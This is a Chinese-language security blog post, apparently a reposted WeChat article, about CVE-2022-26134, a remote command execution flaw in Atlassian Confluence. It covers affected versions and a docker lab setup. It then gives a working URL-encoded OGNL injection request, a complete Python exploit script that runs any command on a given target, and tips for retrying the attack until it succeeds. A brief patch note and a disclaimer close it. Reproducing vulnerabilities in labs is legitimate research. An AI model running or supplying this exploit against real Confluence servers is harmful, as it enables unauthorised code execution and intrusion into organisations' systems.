CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

admin 2025年1月13日19:38:46评论13 views字数 4742阅读15分48秒阅读模式
 

0x00 漏洞概述

Atlassian Confluence Server and Data Center是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki、团队成员之间的协作和知识共享库,由java语言开发。用于团队成员之间的协作和知识共享,主要部署在内网,所以互联网上分布较少,主要集中在美国、德国和荷兰。

可以说很多企业都在用Gitlab来管理代码和开发事宜;而构建知识库可以用confluence

2022年6月4日,Atlassian官方发布了Confluence OGNL 注入漏洞的风险通告,漏洞编号为CVE-2022-26134,漏洞等级:严重,漏洞评分:9.8。

0x01 漏洞范围

Atlassian Confluence Server and Data Center < 7.4.17
7.5.0  ≤ Atlassian Confluence Server and Data Center < 7.13.7
7.14.0 ≤ Atlassian Confluence Server and Data Center < 7.14.3
7.15.0 ≤ Atlassian Confluence Server and Data Center < 7.15.2
7.16.0 ≤ Atlassian Confluence Server and Data Center < 7.16.4
7.17.0 ≤ Atlassian Confluence Server and Data Center < 7.17.4
7.18.0 ≤ Atlassian Confluence Server and Data Center < 7.18.1

0x02 环境搭建

docker安装和源码安装不太建议,除非是企业要求,因为过程极其复杂。这里直接用vulhub的漏洞环境搭建Confluence Server 7.13.6了。

1、新建一个docker-compose.yml文件如下,随后docker-compose up -d启动即可。

如果端口冲突,可以vim docker-compose.yml来修改映射出来的端口号。

version: '2'
services:
  web:
    image: vulhub/confluence:7.13.6
    ports:
      - "8090:8090"
    depends_on:
      - db
  db:
    image: postgres:12.8-alpine
    environment: 
    - POSTGRES_PASSWORD=postgres
    - POSTGRES_DB=confluence

2、随后访问http://ip:8090,点击这个Get an evaluation license,申请一个试用的序列号。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

3、我这里用的谷歌账号。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

4、默认会选择右边的Confluence(Data Center),然后下面一定要选择up and running,随后生成序列号。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

5、随后就能看到序列号帮我们填写好了,点击继续即可。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

6、选择第一个Standalone,点击下一步就行。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

7、大家最好按照下图配置,严格按照docker-compose.yml内容进行配置,不然无法成功。测试连接Test connection成功之后点击下一步,会开始配置PostgreSQL。需要大概几分钟时间,建议去上个厕所,喝杯水,起来做几个蹲起再来看,提高时间密度。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

9、随后安装完成后就是这个页面,随后点击Example Site

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

10、接下来点击下图此处

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

11、配置系统管理员账户,账号名字啥的随便填写。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞
CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

12、至此,环境搭建成功。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

0x03 手动复现

首页抓包,随后改成下面这段请求包,发送过去即可看到命令注入成功。当然也可以直接在repeater中放入下段数据包,只不过需要填写目标。

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.31.84:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close


其中使用到的OGNL表达式为:

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

0x04 EXP编写

EXP地址:https://github.com/crowsec-edtech/CVE-2022-26134/

import requests
import re
import sys
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()

def check(host):

 r = requests.get(host+"/login.action", verify=False)
 if(r.status_code == 200):
  filter_version = re.findall("<span id='footer-build-information'>.*</span>",r.text)
  if(len(filter_version)>=1):
   version = filter_version[0].split("'>")[1].split('</')[0]
   return version
  else:
   return False
 else:
  return host
def exploit(host, command):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': '*/*',
    }
    r = requests.get(host + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
    if(r.status_code == 302):
        return r.headers['X-Cmd-Response']
    else:
        return False

if(len(sys.argv) < 3):
 print("USE: python3 " + sys.argv[0] + " https://target.com cmd")
 print("ex: python3 " + sys.argv[0] + " https://target.com id")

else:
 target = sys.argv[1]
 cmd = sys.argv[2]
 version = check(target)
 print("============ GET Confluence Version ============")
 if(version):
  print("Version: " + version)
 else:
  print("Version: Not Found")
 print(exploit(target, cmd))

exp解析

整体三大部分,利用了python经典的bs4requestsre库。

1、检查目标是否存在漏洞,不存在则break;若存在进入第二步

2、第二步为漏洞利用,即发送带有命令执行的数据包,这里再次判断是否存在漏洞,即判断响应码是否为302。

3、第三步处理返回包,利用re库正则匹配出返回包X-Cmd-Response字段的结果。

exp优化建议

时间紧张就不写了,有时间练练手,说一下我对此exp的优化建议:

1、复现过程中,存在错误的情况,可以隔5秒发包1次,for循环重复3-5次,取最后的结果,就像msf的永恒之蓝一样,攻击三次,直到成功为止。

2、可以用bp的插件来直接获取请求包的写法。

0x05修复建议

对 Confluence 组件进行集中升级到安全版本 ,下载地址为: https://www.atlassian.com/software/confluence/download-archives

0x06 References

https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2019-3396/README.zh-cn.md

https://github.com/crowsec-edtech/CVE-2022-26134/

CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

原文始发于微信公众号(HACK技术沉淀营):CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月13日19:38:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞https://cn-sec.com/archives/1093094.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息